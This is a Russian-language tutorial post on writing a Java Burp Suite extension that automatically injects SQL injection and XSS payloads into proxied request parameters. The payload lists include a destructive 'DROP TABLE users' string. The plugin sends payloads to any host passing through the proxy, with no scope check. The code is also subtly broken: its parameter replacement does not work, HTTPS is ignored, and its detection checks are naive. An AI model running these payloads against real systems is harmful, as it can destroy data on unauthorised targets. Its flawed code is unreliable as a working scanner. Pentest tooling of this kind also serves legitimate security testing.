104
Эй, кибер-боец! Сегодня мы замутим нечто крутое — собственный плагин для Burp Suite, который будет автоматически тестировать SQL-инъекции и XSS-уязвимости, а заодно подбирать параметры в реальном времени. Мы разберёмся с API Burp Extender на Java, напишем рабочий код и сделаем так, чтобы наш инструмент рвал рутину на куски. Если ты хочешь поднять свой пентест на новый уровень, то это твой билет в клуб хардкорных автоматизаторов. Погнали!
Зачем нужен свой плагин для Burp Suite?
Burp Suite — это уже мощный зверь для тестирования веб-приложений, но стандартные инструменты не всегда закрывают твои специфические нужды. Хочешь кастомные проверки на SQLi с хитрыми пейлоадами? Или автоматизировать XSS-атаки с фильтрацией ложных срабатываний? Тогда плагин — твой выбор. Мы создадим инструмент, который перехватывает запросы, анализирует параметры и в реальном времени подбирает уязвимые точки. Всё это на Java, используя Burp Extender API.
Что мы сделаем:
Подготовка: что нужно для старта?
Настройка проекта
burpsuite_pro.jar
.IBurpExtender
— это точка входа для плагинов.Основы Burp Extender API
Burp Extender API даёт тебе доступ ко всем внутренностям Burp Suite: ты можешь перехватывать запросы, модифицировать их, анализировать ответы и взаимодействовать с другими инструментами (Scanner, Intruder и т.д.). Основные интерфейсы, которые мы используем:
IBurpExtender
: Главный интерфейс для регистрации плагина.IHttpListener
: Для перехвата HTTP-запросов и ответов.IExtensionHelpers
: Утилиты для работы с запросами/ответами (например, декодирование URL).Наш плагин будет перехватывать запросы из прокси, проверять параметры на SQLi и XSS, а также подбирать уязвимые точки в реальном времени.
Пишем плагин: автоматизация SQLi и XSS тестов
Давай создадим плагин, который перехватывает GET/POST-запросы, ищет параметры (например, id
, q
, search
) и тестирует их на SQL-инъекции и XSS. Если что-то срабатывает, мы логируем результат в консоль Burp.
Вот базовый код плагина:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
import burp.IBurpExtender; import burp.IBurpExtenderCallbacks; import burp.IHttpListener; import burp.IHttpRequestResponse; import burp.IExtensionHelpers; import java.io.PrintWriter; import java.util.Arrays; import java.util.List; public class VulnerabilityChecker implements IBurpExtender, IHttpListener { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private PrintWriter stdout; // Список параметров для анализа private final List<String> targetParams = Arrays.asList("id", "q", "search", "name"); // Пейлоады для SQLi private final List<String> sqliPayloads = Arrays.asList("1'", "1' OR '1'='1", "1; DROP TABLE users --"); // Пейлоады для XSS private final List<String> xssPayloads = Arrays.asList("<script>alert(1)</script>", "onerror=alert(1)"); @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.stdout = new PrintWriter(callbacks.getStdout(), true); // Регистрируем слушатель HTTP callbacks.registerHttpListener(this); stdout.println("Vulnerability Checker Plugin Loaded!"); } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { // Обрабатываем только запросы if (messageIsRequest) { byte[] request = messageInfo.getRequest(); String requestStr = new String(request); stdout.println("Intercepted Request: " + requestStr.split("\n")[0]); // Анализируем параметры analyzeParameters(requestStr, messageInfo); } } private void analyzeParameters(String requestStr, IHttpRequestResponse messageInfo) { // Извлекаем параметры из GET или POST String[] lines = requestStr.split("\n"); String paramsLine = lines[0].contains("?") ? lines[0].split("\\?")[1] : ""; if (requestStr.contains("Content-Type: application/x-www-form-urlencoded")) { paramsLine = lines[lines.length - 1]; // Последняя строка — тело POST } if (!paramsLine.isEmpty()) { String[] params = paramsLine.split("&"); for (String param : params) { String[] kv = param.split("="); if (kv.length == 2 && targetParams.contains(kv[0].toLowerCase())) { stdout.println("Testing parameter: " + kv[0]); testParameter(messageInfo, kv[0], kv[1]); } } } } private void testParameter(IHttpRequestResponse messageInfo, String paramName, String paramValue) { // Тестируем SQLi for (String payload : sqliPayloads) { String modifiedRequest = replaceParameter(messageInfo.getRequest(), paramName, payload); byte[] response = sendModifiedRequest(modifiedRequest); if (checkResponseForSqli(response)) { stdout.println("!!! SQLi Vulnerability Found in " + paramName + " with payload: " + payload); } } // Тестируем XSS for (String payload : xssPayloads) { String modifiedRequest = replaceParameter(messageInfo.getRequest(), paramName, payload); byte[] response = sendModifiedRequest(modifiedRequest); if (checkResponseForXss(response)) { stdout.println("!!! XSS Vulnerability Found in " + paramName + " with payload: " + payload); } } } private String replaceParameter(byte[] request, String paramName, String payload) { String requestStr = new String(request); // Простая замена значения параметра (для демонстрации) return requestStr.replace(paramName + "=" + "[^&]*", paramName + "=" + payload); } private byte[] sendModifiedRequest(String modifiedRequest) { try { return callbacks.makeHttpRequest( callbacks.getHelpers().analyzeRequest(modifiedRequest.getBytes()).getUrl().getHost(), 80, // Порт по умолчанию false, // Не HTTPS modifiedRequest.getBytes() ).getResponse(); } catch (Exception e) { stdout.println("Error sending request: " + e.getMessage()); return new byte[0]; } } private boolean checkResponseForSqli(byte[] response) { String respStr = new String(response).toLowerCase(); return respStr.contains("sql") || respStr.contains("syntax error") || respStr.contains("mysql"); } private boolean checkResponseForXss(byte[] response) { String respStr = new String(response).toLowerCase(); return respStr.contains("alert(1)") || respStr.contains("onerror"); } } |
Как это работает?
registerExtenderCallbacks
инициализирует плагин и регистрирует слушатель HTTP.processHttpMessage
срабатывает на каждый запрос, проходящий через Burp (например, из прокси).id
, q
и т.д.Замечание: Этот код — базовый пример. Реальная проверка SQLi/XSS требует более сложной логики (учёт контекста, фильтрация WAF и т.д.).
Компиляция и установка плагина
Build -> Build Artifacts -> JAR
.Extender -> Extensions -> Add
.Java
, укажи путь к своему JAR-файлу.Output
) появится сообщение Vulnerability Checker Plugin Loaded!
.Теперь отправляй запросы через прокси Burp, и плагин будет автоматически тестировать параметры.
Лайфхаки для прокачки
ITab
для создания вкладки с настройками (например, список пейлоадов или целевых параметров).1'/**/OR/**/'1'='1'
).Реальный пример: подбор параметров в реальном времени
Допустим, ты хочешь не просто проверять заранее заданные параметры, а динамически подбирать их из запросов. Обновим метод analyzeParameters
, чтобы он собирал все параметры и выбирал подозрительные (например, те, что похожи на идентификаторы):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
private void analyzeParameters(String requestStr, IHttpRequestResponse messageInfo) { String[] lines = requestStr.split("\n"); String paramsLine = lines[0].contains("?") ? lines[0].split("\\?")[1] : ""; if (requestStr.contains("Content-Type: application/x-www-form-urlencoded")) { paramsLine = lines[lines.length - 1]; } if (!paramsLine.isEmpty()) { String[] params = paramsLine.split("&"); for (String param : params) { String[] kv = param.split("="); if (kv.length == 2) { String paramName = kv[0].toLowerCase(); // Динамический подбор: параметры, похожие на ID или поисковые if (paramName.contains("id") || paramName.contains("search") || paramName.contains("query")) { stdout.println("Dynamically selected parameter: " + paramName); testParameter(messageInfo, kv[0], kv[1]); } } } } } |
Теперь плагин сам находит интересные параметры. Это как твой личный ассистент, который копает за тебя.
Заключение: автоматизация рулит
Ты только что создал плагин для Burp Suite, который автоматизирует тесты SQLi и XSS, подбирает параметры в реальном времени и экономит тебе кучу часов ручной работы. Это только начало — Burp Extender API открывает бездны возможностей для кастомизации. Хочешь больше фич? Добавляй сложные пейлоады, интеграцию с другими инструментами или даже машинное обучение для анализа ответов.